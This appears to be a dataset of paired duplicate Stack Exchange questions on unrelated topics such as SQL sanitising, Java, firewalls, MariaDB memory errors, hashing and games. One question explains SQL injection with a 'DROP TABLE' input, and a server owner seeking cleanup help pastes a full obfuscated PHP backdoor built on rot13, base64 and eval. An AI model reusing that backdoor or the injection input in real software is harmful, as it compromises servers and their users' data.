User input will be another language with English. So I want to sanitize data before putting it on mysql database.  So here is my code:  mysqli_set_charset($conn,"utf8"); function sanitize_data($data) {     global $conn;     $output = '';     if(isset($data)) {         $output = mysqli_real_escape_string($conn, $data);     }     return $output; }   Is there any way to make it more sanitized? Website will be public forum/blog type. Anyone can write if they are registered.

If user input is inserted without modification into an SQL query, then the application becomes vulnerable to , like in the following example:  $unsafe_variable = $_POST['user_input'];   mysql_query("INSERT INTO `table` (`column`) VALUES ('$unsafe_variable')");   That's because the user can input something like value'); DROP TABLE table;--, and the query becomes:  INSERT INTO `table` (`column`) VALUES('value'); DROP TABLE table;--')   What can be done to prevent this from happening?


public class Tester {     static int x = 4;     public Tester() {         System.out.print(this.x); //no error         Tester();     }     public static void Tester() { // line 8         System.out.print(this.x); // compilation error     }     public static void main(String... args) { // line 12         new Tester(); }   In this example how can we access a static variable using this keyword inside constructor. But not in methods. this is keyword for current object reference, is n't it?

I'm trying to get an understanding of what the the java keyword this actually does. I've been reading Sun's documentation but I'm still fuzzy on what this actually does.


I would like to ask for some support. I've installed windows 8.1 just to check it a bit. Within windows firewall i wanted to block all outbound connections which do not match a rule but windows update stopped working. If i restore to default rules it's fine again but as soon as i switch to block outbound it doesn't work. I thought the rules for windows update are part of the default hardened rules but it doesn't seem to be the case. I created some rules that i found on some forums: svchost with windows update service svchost with BITS svchost with task scheduler - not sure if this is needed but unfortunately i still have the same issue.  Could you please help me what are the minimum rules to be created to run windows update?  Thanks in advance! Cheers

I'm trying to tailor my Windows Firewall settings (using the Windows Firewall with Advanced Security console) to only permit programs that need to access the Internet with an outbound connection to do so.  This works fine for normal applications as I can just allow the program, but services that load in the svchost.exe process are a problem. The only services I actually need to give access to are Windows Update and the Background Intelligent Transfer Service (and even that, I would only like Windows Update to be able to submit jobs to, but that's another issue.) Is there a method to only allow these to be permitted an outbound connection, and not any of the other services loaded in svchost?


Site used to go down frequently on a near daily basis and is on Digitalocean VPS Based on some suggestions I got on DO forum, I ran mysqltuner and increased innodb buffer pool size to 341M and innodb log file size to 64M Since then the site goes down less but it still does every once in a while like last night. There are plently of 'InnoDB: Cannot allocate memory for the buffer pool' in the  I've assigned swap space and I've ran netstat, vmstat etc too and everything seems alright. But clearly I'm running out of memory as the logs suggest. How do I diagnose whats causing my server to run out of memory? Whether its a faulty plugin or apache or something else causing the issue instead of just upgrading the droplet?

I recently migrated an old server running MySQL to a new VPS running MariaDB 5.5. I don't have too much running on the server (just a few PHP sites) and free memory seems to be OK, but the DB keeps crashing--sometimes every few days, other times within a few hours.  I receive the following errors in the logs:  131231  1:43:04 [ERROR] mysqld: Out of memory (Needed 128917504 bytes) 131231  1:43:04 [ERROR] mysqld: Out of memory (Needed 96681984 bytes) 131231  1:43:04 [ERROR] mysqld: Out of memory (Needed 72499200 bytes) 131231  1:43:04 [ERROR] mysqld: Out of memory (Needed 54362112 bytes) 131231  1:43:04 InnoDB: The InnoDB memory heap is disabled 131231  1:43:04 InnoDB: Mutexes and rw_locks use GCC atomic builtins 131231  1:43:04 InnoDB: Compressed tables use zlib 1.2.3.4 131231  1:43:04 InnoDB: Using Linux native AIO 131231  1:43:04 InnoDB: Initializing buffer pool, size = 128.0M InnoDB: mmap(137756672 bytes) failed; errno 12 131231  1:43:04 InnoDB: Completed initialization of buffer pool 131231  1:43:04 InnoDB: Fatal error: cannot allocate memory for the buffer pool 131231  1:43:04 [ERROR] Plugin 'InnoDB' init function returned error. 131231  1:43:04 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed. 131231  1:43:04 [Note] Plugin 'FEEDBACK' is disabled. 131231  1:43:04 [ERROR] Unknown/unsupported storage engine: InnoDB 131231  1:43:04 [ERROR] Aborting  131231  1:43:04 [Note] /usr/sbin/mysqld: Shutdown complete   I've played with the my.cnf settings for InnoDB Heap, which does not seem to help. Here's the relevant portion:  innodb_buffer_pool_size = 128M innodb_log_buffer_size  = 8M innodb_file_per_table   = 1 innodb_open_files       = 400 innodb_io_capacity      = 400 innodb_flush_method     = O_DIRECT   I seem to have "plenty" of free RAM, and I have some swap available as well:  root@phoenix:~# free -m              total       used       free     shared    buffers     cached Mem:           994        923         71          0         19        417 -/+ buffers/cache:        486        508 Swap:         1023        131        892   How can I solve / troubleshoot this issue? I've scoured the interwebz for clues, but nothing has helped.


In Guardians of the Galaxy, if Thanos knew the orb contained an Infinity Stone (one of the most powerful artefacts in the galaxy), why did he send Ronan to retrieve it?  It was pretty clear from their short exchanges that Thanos and Ronan pretty much hated each other. Why would Thanos trust Ronan with such a hugely important task?  I know initially, Ronan didn't know that the orb contained an infinity stone, but Thanos was still taking a pretty big risk sending him to retrieve it.   Even with two of Thanos' daughters on board Ronan's ship, the orb would ultimately pass through Ronan's hands before it reached Thanos, so there was always the possibility he would discover it's contents.  Is there any reason established as to why Thanos doesn't go after the infinity stone personally?

In the Avengers movie, why didn't Thanos personally come to Earth instead of Loki? Or, if Loki's skills were required, why didn't he come with Chitauri? He knew that humans were primitive; there wouldn't be any threat and he could personally secure Tesseract.  AFAIK, the movie didn't display much. Is there any other source answering this?


My current thermostat is wired as follows and the wires are from my Separate heater and separate AC air handler:  W - From my heat R - From my heat  Rc - From my AC Handler Y - From the compressor  G - From the AC Handler  Do I need to add a wire for the C connection but am unsure whether I need to do that how and where to connect it. Our can I do something else with the G wire? I have attached a pi of my current schematic, can anyone please help?

How do I identify the C terminal on an HVAC, furnace, or boiler? If the terminals don't have a screw labeled C what should I look for on the wiring diagram? What steps should I take if a wiring diagram cannot be found or if it indicates that a C terminal doesn't exist?  Note: This is an extension to  which asks about running the wires through the wall. This question is about where to connect the wire at the HVAC.


Previously , however all of the answers are wrong -- including the chosen one. So, let's try it again. (I've specified the Ubuntu version number at the top to indicate the newness of this one). I'm coming at this as someone who has just installed Ubuntu and truly wants the latest version of Chromium. Currently, the most recent version of Chromium is Version 30. PPAs that don't work and should not be suggested:  ppa:a-v-shkop/chromium As of writing, this PPA only supports  and . It hasn't been updated in three months.   As of writing, this PPA only supports . This PPA is so outdated  that I've submitted a .   As of writing, this PPA only supports . It hasn't been updated in 11 months.

Confronted with  I found that I need to run a version of Chromium that is newer then the one in the repositories in order to use an extension that I want.  Can I get a such new, even latest version?  In Windows I can use beta Chromium portable that is newer than Google Chrome.  How to get that newest Chromium here in Ubuntu?   Related:


We can hash a file or data using multihash or SHA-256, but can we retrieve the original data or file from the hash?  Are there any methods to retrieve the original file or data from a hash of it without using IPFS?  Or is there any encryption method which encrypts a 5 MB file and outputs a hash-like content of 32 bytes so that we can retrieve the original file from that 32 byte content?

So, I have a file that is XY Exabytes big. I create a SHA-512 hash from it.    Are there any theoretical chances that I can retrieve the original data just from the sha512 hash?    Also, are there any better hashes then sha512?


I have this code that will execute Console.WriteLine(x) on every object in what Distinct() will return.  objects.Distinct().ToList().ForEach(x => Console.WriteLine(x));   However, how can I achieve the same thing without using ToList()?

Inspired by another question asking about the missing Zip function: Why is there no ForEach extension method on the IEnumerable interface? Or anywhere? The only class that gets a ForEach method is List<>. Is there a reason why it's missing, maybe performance?


I have been busy with other quests and have not talked with Wulfgar, but the guests say that he has to teach me the third Relentless Force word.  I went to High Hrothgar and saw that ancient writing in fire in front of Wulfgar on the floor and that there was a marker pointing to that and one marker pointing to Angeir.  However, when I go over to Angeir first, he says Wulfgar must first teach the third Relentless Force word, so I go over to the marker in front of Wulfgar, but it does nothing... I try to talk with him and he still does nothing. What am I actually supposed to do here?

I'm playing Skyrim on Xbox 360 with no DLC.  I have completed all the main quests until the Horn of Jurgen Windcaller and before I completed it I messed around with the game doing side quests and other things and I have logged a good 100+ hours. I'm level 39 and when I go to complete the quest and have Wulfgar teach me the third Word of Power but he won't do it.  I have tried talking to him and nothing, All the Greybeards are in the middle of the room except Arngeir which is waiting to be talked to about the Throat of the World quest so he is no help.  I am stuck so I made a new account (still have this glitches one) and did the main storyline everything worked on it. I don't want to start on my level 11 Orc because I have done too much stuff on my Nord. I have 6 Dragon Priest masks, level 100 smithing, almost all the Daedric Artifacts and a ton other things.  Any help would be greatly appreciated.


I'm a beginner in electronics, and in my free time I love making stuff with my Arduino.  As I was handling a few Bluetooth modules with my hands, I thought about static electricity discharging on the chips. I'm not very familiar with this, so I have a few questions about the topic, and I hope you could help me out to get some stuff straight in my head.   Is static electricity really so dangerous? Can I really destroy something simple like an Arduino module if I touch it? Assuming that I need a discharge in order to pass the electricity, how is this happening? Anything more I should know?

Doing mostly micro-controller work, I have never bothered with grounding myself with a wrist-strap or any other implementation. Should I be worried about this? How serious is ESD when working at my workbench on projects?


How do you write the following sentence:   Marcelo, together with Angela and I, are going to... Marcelo, together with Angela and myself, are going to...

When the phrase is used as an object, why so many native speakers are saying "you and I" instead of "you and me"? I'm not a native speaker but I thought "you and me" is correct. Not sure if this falls into the same category, but "Just between you and me" sounds more natural than "Just between you and I".


When I want to create a TComponent descendent using the Create method in delphi we must pass a parameter :  className.Create(AOwner)   where AOwner is of type TComponent  From what i know it accepts any one of three parameter(in default create cases)   Nil,Self, application    I did't quite understood when to use which.   Can someone please elaborate on same.

It seems completely irrelevant to require a TComponent as an owner to instantiate an object of some kind.  Why are there so many Delphi components that require this?  For example, TXMLDocument requires a TComponent object to instantiate.  Why is this and if there's a good reason, what should I be using in there to "do the right thing"?


It's my first time here, so sorry if I'm too direct.  I'm dealing with a 0-1 variable that I want to model (logistic regression) but sample sizes are very unbalanced (2489 data, only 58 are positive) so models can converge. I was thinking about the possibility of randomly sampling 58 negative cases, so I can run a balanced logistic regression. I did it, n-times, and I wonder how I can "average" my results. One option, with univariate models, is simply show the CI for the estimates obtained from the n-models obtained, but my question is how to deal with models including more than one predictor. There is an option in R to do that? or manually, how can I do it (I can do it as with univariate models, but I'm not sure if this is fine)? How to decide which explanatory variables are actually contributing to explain variability in the dependent variable? any advice is welcome.

Okay, so I think I have a decent enough sample, taking into account the 20:1 rule of thumb: a fairly large sample (N=374) for a total of 7 candidate predictor variables.   My problem is the following: whatever set of predictor variables I use, the classifications never get better than a specificity of 100% and a sensitivity of 0%. However unsatisfactory, this could actually be the best possible result, given the set of candidate predictor variables (from which I can't deviate).   But, I couldn't help but think I could do better, so I noticed that the categories of the dependent variable were quite unevenly balanced, almost 4:1. Could a more balanced subsample improve classifications?


So this is kind of weird, and I'm not sure what the issue is, but when on some sites (I.e. Stack Overflow), the icons are incorrect.  The screenshot explains it better. Things look fine here on the Stack Exchange Meta, but on the Network Engineering site (for example) the icons for some sites are mixed up. (It does this for me for the drop-down list and HNQ lists.)  I've done a hard-refresh of everything, problem still persists.  Is this related to the new theme launch?

I see the same problem has occurred in the past, the most-linked one being   Is this happening for anyone else?   I've marked the icons I could recognize as incorrect.  This exists on every page, is on both chrome and firefox (from Ubuntu 16.04), and persists after hard-refreshes in each.  Edit: The icons in Meta's Hot Network Questions tab appear to be consistently accurate. Every other page I checked (including Unix, Workplace, English Language & Usage, Money, and Sci-fi) have a handful of incorrect ones, even for some of the same questions that are displayed correctly in Meta.  Further note: if it matters, the icons are also incorrect in the drop down community-search feature on the right end of the header. Again, they appear correct on this Meta page, and incorrect on all other pages I've checked. Some of the ones that are consistently incorrect:   computational science constructed languages movies and TV raspberri pi rpg russian language science fiction and fantasy sitecore skeptics super user latex workplace   That distribution seems skewed, but I may just be disproportionately familiar with the sites at the end of the alphabet. Many others could be wrong, those are just the ones I could recognize.    Last edit: apparently my Google skills were lacking -  was asked an hour prior.


I want to use a conditional in my batch file, so that it opens a program, but only if that program isn't already running. Very roughly, something like:  @echo off  ::(Insert IF conditional here, if program is running, then exit, if not, then continue)  cd "C:\xampp" start xampp-control.exe  exit   I'd be super appreciative of any idea. Thanks!

How can I check if an application is running from a batch (well cmd) file?  I need to not launch another instance if a program is already running. (I can't change the app to make it single instance only.)  Also the application could be running as any user.


I've a PostgreSQL Server with 5 db and 2 users: postgres and forge, both with Superuser attribute.  I want to create a third user that can only see and use one and just one of the db and by using it I mean only perform select. I've tried different solutions but seems that the brand new user can access to all the other dbs.  Thank you

I must be missing something with regards to setting up PostgreSQL. What I'd like to do is create multiple databases and users that are isolated from each other so that a specific user only has access to the databases I specify. However, from what I can determine, any created user has access to all databases without any specific grants being given.  Here is what I do on an Ubuntu Server 12.04:   apt-get install postgresql sudo -u postgres createuser -DRSP mike1 (Specifying the password for the new user) sudo -u postgres createdb data1 psql -h localhost -U mike1 data1 (Specifying the password for the user mike1 to login)   It seems that new user "mike1" has no problem connecting to database "data1" and creating tables etc. And this without running any GRANT command at all (and the owner of "data1" is "postgres" since I didn't specify an owner in step 3). Is this really how it is supposed to work?  What I'd like to do is grant mike1 full access to data1 and then repeat this for more users and databases, making sure that the users only have access to one (or possibly several) databases of my choice.


Made a function to count 20 most common words in a book that I downloaded as a plain text format. The python textbook I am going off of said to use the import string and then the replace or the translate method to remove any punctuation, but when I print out the lines after the replace step, all the lines still have punctuation in it. I tried moving around the line = line.strip() and the line = line.replace(string.punctuation,'') step, but that did not work. I have never used replace so I may be using it wrong for all I know. Rest of my program works, just that step is frustrating me.  import string def function():     infile = open('gutbook.txt','r',encoding='utf-8')     count = dict()     list2 = list()     for line in infile:         line = line.strip()         line = line.replace(string.punctuation,'')         line = line.lower().split()         if line== []:             continue         for i in line:             count[i] = count.get(i,0) + 1     for key,value in count.items():         newtuple = (value,key)         list2.append(newtuple)     list3 = sorted(list2,reverse = True)     print(list3[:20])    function()

It seems like there should be a simpler way than:  import string s = "string. With. Punctuation?" # Sample string  out = s.translate(string.maketrans("",""), string.punctuation)   Is there?


What would be the proper way of reviving a very old feature request that has already been declined?  If I post a new feature request, it may be closed as a duplicate of the old one.  For instance, .  It has been declined five years ago, and there were recent inquiries on Meta Stack Overflow asking for the same feature. I have also been in situations where I would like to be informed of the downvotes when they occur.  How can I proceed here?

As I was browsing earlier today, I really happened to like an answer to a question. The question didn't interest me so much, and the answer was actually a tangential reply to some of the comments in the post, and was by far more valuable than the original question or the accepted answer. Now, my only options to favorite that answer are   Favorite the question. Add the link to the answer to my browser's bookmarks.   I was pretty sure others have had the need for this, and sure enough, I found a  and a , both nearly two years ago and a , nearly a year ago.  Now, there might have been several reasons why it (and several other old feature-requests) was denied. SO was pretty young back then, there probably weren't enough developers on board, perhaps they didn't have the resources to track favorite answers. But SO has grown since then from 1-3 sites to 30+ sites. Requests that might have at one point been too demanding, might now be easily implementable, which could greatly enhance user experience.  So, my question is: "Can we re-request features that were previously declined, provided the request and the denial are sufficiently old, so that the team can reconsider their decision?"  After how long is sufficient enough needs to be decided by the community and is only to prevent re-requesting a feature that was only declined say a week ago.


Is there a latex package that can be used to produce a language grammar similar to the following figure? If yes, which package?

I googled and found two packages:   mdwtools bnf   Unfortunately, both of them have extremely poor documentation. There are only one to two examples for each one, which makes it hard to follow. Furthermore, none of them shows how to indent the grammar properly, rather than just setting up the environment to have a nice look. I wonder is there a major package for writing BNF, or we can just manually use tabbing to handle the indentation? Thank you.


I have been studying that electrons have quantum number called spin quantum number(s), this number can have either +1/2 or -1/2 value. If s=+1/2, the spin is clockwise and if s=-1/2, the spin is anti clockwise about it's imaginary axis. But, I am facing some problems now with this concept, the problems are, photon have 1-spin, another recently discovered sub-atomic particle having spin 3 (), how physicists explain these spin?

I often hear about subatomic particles having a property called "spin" but also that it doesn't actually relate to spinning about an axis like you would think. Which particles have spin? What does spin mean if not an actual spinning motion?


I would like to change my AMD E1 APU with an AMD A4 APU. Is the socket BGA and BGA-413 the same? Is that possible and would it work?

I have an AMD laptop, which has AMD APU (e1-2500). I don't really like the speed of it and would love to upgrade to faster APU. There are some AMD APUs available in ebay. So the question is:   What do I need to check to be sure that a new APU will work without problems?


I need to dual boot my pc with windows as main OS and Ubuntu as secondary OS. During the installation the Ubuntu installation wizard prompted me to create partitions on HDD of 500 GB. I created a partition of 87 GB. After that it said that it would erase all data in the HDD. I'm afraid that it would erase windows. But I want both of them to boot. How can I achieve that without erasing windows?

I'd like to see the full How-To on how to use manual partitioning during Ubuntu installation. The existing guides (at least those I found here) cover only automatic part and leave untouched the manual part (or extremely short and contain no pictures).  I'd like to cover such situations:     If your disk contains other systems:


Provided you have a Visualforce page that uses both a standard controller and an extension class. The extension class has a method with the same name as a method in the standard controller   (i.e, public save())  If you have the following button in your page:  <apex:commandButton value ="save" action="{!save}" />  will this call the method from the standard controller or the extension?

I am wriiting a extension on Case object. There I want to write a save method with my own logic and  want this save method should override the standard Save method.  So my code goes like below:  public class MyCaseControllerExt {      private final Case caseObj;      // get Case record from the standard controller and putting it in a member variable     public MyCaseControllerExt (ApexPages.StandardController stdController) {         this.caseObj = (Case)stdController.getRecord();     }      public override PageReference save(){         // TO DO         return null;      }  }   But, while saving the class, I am getting 1 error :     Save error: MyCaseControllerExt : Method does not override an ancestor   method: System.PageReference save()   So my question is how we will override the existing Save method in extension class?


I have Ubuntu 14.04.  I have 2 deb packages, deb1 and deb2  I'm trying to install deb2 in the postinst of deb1 using dpkg -i deb2 but I get this error:  dpkg: error: dpkg status database is locked by another process   To get around that, in my postinst I added this instruction to remove the lock:  sudo rm /var/lib/dpkg/lock   But then deb1 installation failed:  dpkg: unrecoverable fatal error, aborting: unable to install updated status of `deb1':  No such file or directory`   However, when I don't try to install deb2 from deb1 the installation of deb1 succeeds.  How can I achieve what I want?

I have a game made with the LÖVE framework and I want to package it into a .deb file so it can be easily installed by others and be easily findable through the Unity dash for example.   I also have the LÖVE framework love_0.7.2.deb which I want to be in the deb file also somehow.  Files that I have:  game_icon.png game .desktop the_game.love love_0.7.2.deb   Could someone explain to me how to do this?


I want to show that the substitution $\partial_u \to D_\mu \equiv \partial_\mu + ieA_\mu$, or equivalently $p_\mu \to p_\mu - eA_\mu$ allows the introduction of electromagnetic interactions. Here $e$ is the electric charge of the particle in question $($$e=-|e|$ for an electron$)$, and $A^\mu = (\Phi, \vec{A})$ is the vector potential. By converting the Dirac equation in the form$$[\vec{\alpha} \cdot (\vec{p} - e\vec{A}) + \beta m]\psi = (E - e\Phi)\psi$$to a second-order equation, and taking the low-energy limit, show that the interaction with the electromagnetic field gives rise to a change in energy in the presence of a magnetic field $\vec{B} = \nabla \times \vec{A}$ of the form$$\Delta E = -{{e}\over{2m}}\vec{\sigma} \cdot \vec{B}$$and hence implies a value of $g=2$ for the electron's magnetic moment $\vec{\mu}$ defined in terms of its spin $S$ as$$\vec{u} = g\left({e\over{2m}}\right)\vec{S}.$$Progress so far: The Dirac equation is $$(i\gamma^\mu D_\mu - m)\psi = (i\gamma^\mu(\partial_\mu + ieA_\mu) - m)\psi = 0.$$If we take $\gamma^0 = \beta$, $\gamma^i = \beta\alpha_i$, $\partial_\mu = (\partial_i, \nabla)$, and $A_\mu = (\Phi, -{\bf A})$ then we can write this as $$[i\beta(\partial_t + ie\Phi) + i\beta\alpha \cdot (\nabla - ie{\bf A}) - m]\psi = 0$$or, since $\beta^2 = 1$,$$[i(\partial_t + ie\Phi) + i\alpha \cdot (\nabla - ie{\bf A}) - m\beta]\psi = 0.$$I tried some things after this, but they didn't work out. Can anyone give me a step in the right direction?


I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace.   Here's a sample of the pattern:

                 <?php avada_logo(); ?>                 <?php avada_main_menu(); ?>

   <?php //###=CACHE START=### @error_reporting(E_ALL); @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); @error_reporting(0); $wa = ASSERT_WARNING; @assert_options(ASSERT_ACTIVE, 1); @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1);  $strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light); //###=CACHE END=### ?>   I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.  Any assistance would be most welcome.    UPDATE  I've got a solution now, largely thanks to the accepted answer.   Others facing something similar should .

My server had been infected and the attacker spread a bunch of .5randomletters folders around my file system, with malicious code inside of them. I want to search for all the folders that begin with a dot, review them and then remove them.  How can I do that?


I'm realizing my first presentation in beamer. I'm thinking about setting an image (the logo of my institute) as a background for all the frames. The image should be quite transparent, because there will be a text above it, and be placed in the center of the frame, full screen. Is it possible? How?

I'd like to put am image in a certain position on the title page in beamer. I also don't want it to interrupt the text flow, i.. I want the image to appear "behind" the text.  Any ideas?


I have an app installed which is generating log files and puts them in /data/user/0/appname.appname I can see them on a rooted device but not on a unrooted device. The appname.appname folder isn't visible on any file manager I've used. Is there anyway to view this folder contents without root?

The default account is normal user, and I used it to install Google Play Store APK (to /data). Then Google Play Store was opened using my current user's permissions, and it is used to download and install other APKs to /data. That means I have full access to the /data partition.  Why are file manager apps unable to view that partition without root permissions?


Which one is correct ?     I will talk to you tomorrow      or     I will talk with you tomorrow

Does the  meaning of "talk to" and "talk with" relate to their one-side or two-side conversation?


Hi I have two typescript snippet . both wants to achieve the same . however console.log prints different value. any idea what is wrong? why the code 2 prints false .  var regex1 = new RegExp(/^FEDEX /) var messagePrefix = "FEDEX " console.log(regex1.test(messagePrefix)); // this prints true   let messageControlValue:string = "FEDEX " let regex2:RegExp = new RegExp(/^messageControlValue/); console.log(regex2.test(messagePrefix)); // this prints false   really appreciatiate any help thanks

I would like to create a String.replaceAll() method in JavaScript and I'm thinking that using a regex would be most terse way to do it.  However, I can't figure out how to pass a variable in to a regex.  I can do this already which will replace all the instances of "B" with "A".  "ABABAB".replace(/B/g, "A");   But I want to do something like this:  String.prototype.replaceAll = function(replaceThis, withThis) {     this.replace(/replaceThis/g, withThis); };   But obviously this will only replace the text "replaceThis"...so how do I pass this variable in to my regex string?


STR 13 +1 DEX 14 +2 CON 17 +4 INT 15 +2 WIS 12 +1 CHA 17 +3    So, I attack with one hand Battleaxe 1d8 with dueling fighting style:   Attack rolld20 - 16+1 from strength +2 from proficiency with Battleaxe total 19 Now roll for damage - 1d8 + 2 damage from dueling style = rolled 3+2 (dueling)   Is this correct? And on the attack roll do I need to add +1 damage from strength ability score modifier?

I'm building my character, a Half-Elf Ranger, and I'm a little confused about how to work out the attack bonus and the damage bonus.  So, please tell me if I've got this right:   I'm proficient with a longbow. That means my attack roll is 1d20 + prof bonus + Dex modifier. The damage roll however is 1d8 + Dex modifier.   I'm just a little confused about working out the numbers (without even going into spells and when to roll for attack, etc.)


Both  and  lists a list of Stephen King's books and novels that supposedly have any connection to The Dark Tower series. While I agree on most items listed in English article, I am totally surprised about certain entries in Polish version. For example:        and   Up until now I was more than sure that I read these books at a quite high level of details. But, it seems that I didn't. Because I have captured no connection between these and The Dark Tower series. Can someone explain (or give some examples / cites), how exactly are the above books connected to Stephen King's most recognisable book series?

I recently started re-reading the Dark Tower saga (just finished part IV: Wizard and Glass, probably my favorite part in the series) and noticed some links with other work of Stephen King. For instance, in Wizard and Glass the Ka-Tet finds a note of a certain Abigail on the windshield of a car in Kansas. Although many years have passed since I read that book, I believe this is a nod to The Stand.  Now are there many connections like this? And then I mean proper connections and not just stuff like this:     19: The number nineteen is a magical number in the Dark Tower novels.   In Blockade Billy, it is Billy’s shirt number.   since those are not references that make not much impact in the work of King. It doesn't matter by the way if Dark Tower references other books or if other books references Dark Tower. I'm interested in both ways.  Note: since I'm thinking about reading the referenced works in the future, I would appreciate it if the answers only show the titles of the books. Further explanation is welcome ofcourse but please use spoiler tags.


I open my world to LAN, and when my friend tries to join it says "connection timed out no further information" so how do we play? I have Wi-Fi so I don't know... So how do I play on LAN if it says that all the time? I tried getting off Minecraft and my whole laptop so please help.

My LAN server won't let my cousin join me or me join my cousin. It won't show up on the multiplayer screen - it keeps saying "scanning for LAN servers" but it never finds it. I am at his house and we use different computers but it won't connect. How can I fix this?


I was trying to book a flight from London to Chennai. The cheapest air ticket was the one that has two stops, first at Berlin and then at Frankfurt. I hold an Indian passport and a UK work visa. My Question is should I get a visa for such a travel to stay in the airport? Or it is not required because it is only in transit?  By the way, the airlines from London to Berlin is German Wings and the other part of the journey is with Lufthansa (Berlin -> Frankfurt -> Chennai). Are there any restrictions? I was not able to google this information easily.

I am travelling form Delhi (DEL) to San Francisco (SFO), I have to make a connection flight in Vienna that would take me to Frankfurt (FRA). My flight to SFO is from FRA, I have one ticket for entire journey and the flights are operated by Lufthansa or its subsidiaries.  Do I need a transit visa? My flight arrives at Vienna international airport and leaves from the same, and for second leg it arrives at Frankfurt international airport.  I asked this question as an addendum to my  but was advised to make a new post.  I hold Indian passport and valid US visa.


As we know, we use function and "new" to create objects in Javascript.  var Cat = function() {...}; var cat = new Cat();   However, from the perspective of programming language design, I think it is quite obscure to people's intuition. How do people come up with this design?  (The point is not about the "new" keyword, but syntactically using a "function" to create object, which is obscure. Object is just Object. Why does it have anything to do with a function?)

Why does the  exist in modern languages such as C# and Java? Is it purely a self documenting code feature, or does it serve any actual purpose?  For instance the following example:  Class1 obj = new Class1();  Class1 foo() {     return new Class1(); }   Is as easy to read as the more Pythonesque way of writing it:  Class1 obj = Class1();  Class1 foo() {     return Class1(); }   EDIT:  hit the nail on the head with the clarification of the question: Why did they choose this syntax?


I am beginner in Django and Currently I was developing the code in Django and was not able to figure out the difference between the two.  class MyForm(forms.Form):     myfield = forms.ChoiceField(choices=[(u.id, u.username) for u in User.objects.filter(type="TYPE1")])   and   class MyForm(forms.Form):     pass      def __init__(self, *args, **kwargs):         super(MyForm, self).__init__(*args, **kwargs)         self.fields['myfield'] = forms.ChoiceField(choices=[(u.id, u.username) for u in User.objects.filter(type="TYPE1")])   even though purpose of both code is same but I am unable to spot the difference between the two as what is going on behind the scene.

What's the difference between:  class Child(SomeBaseClass):     def __init__(self):         super(Child, self).__init__()   and:  class Child(SomeBaseClass):     def __init__(self):         SomeBaseClass.__init__(self)   I've seen super being used quite a lot in classes with only single inheritance. I can see why you'd use it in multiple inheritance but am unclear as to what the advantages are of using it in this kind of situation.


Does anyone have specific details on what the bonus means next to a couple of the acts in adventure mode? Is there any benefit to completing all of the bounties in all of the acts in a single game in adventure mode? Or should you just do the bonus acts and recreate?

Compared to, for example, completing 5 bounties in each of 5 different games.


i is an imaginary number.  What is $i^i$?  I tried to use euler rule but the answer is strange.  For example $i =  e^{\frac{1}{2}i\pi}$.  Using $(a^b)^c = a^{b*c}$ we got  $i^i=e^{(\frac{1}{2}i\pi)*i} = e ^ {-\frac{1}{2}\pi}$  Doesn't seem right  The reason why it doesn't seem right is because of the following   Power by imaginary numbers do not change the size of the result. e^5, is bigger than e^1. However, |e^1000000i| is still just 1.   So that's why I feel it isn't right. So what's the right answer?

I understand that when you raise any number $x$ to a power, you multiply $x$ by itself the number of times indicated in the power. However, what happens when $i^i$ is performed? How can a number be multiplied an imaginary amount of times? Wolfram Alpha says that it is equal to $e^{{-\pi}/{2}}$, but how would you arrive at that answer? Any response will be appreciated, thanks!


Sorry for making a duplicate thread. This was discussed around two years ago and I think we all agreed that the year was 2053. But recently I came across  which states the setting is in 24th century and that this was  which I personally do not remember but still, probably I missed something. So my question is, is the time in 'Fahrenheit 451' the year 2053 or it is 24th century or it is something else?

Is there an allocated time period in Ray Bradbury's novel? I'm not too sure if there is a timeline that led up to the events in the book, so the time in which it is set is unclear to me.


In the Force Awakens, Han says that Luke disappeared to find the first temple. I assume that's what he and Leia were told, or assumed themselves. However in the Last Jedi, Luke says he went there to die.

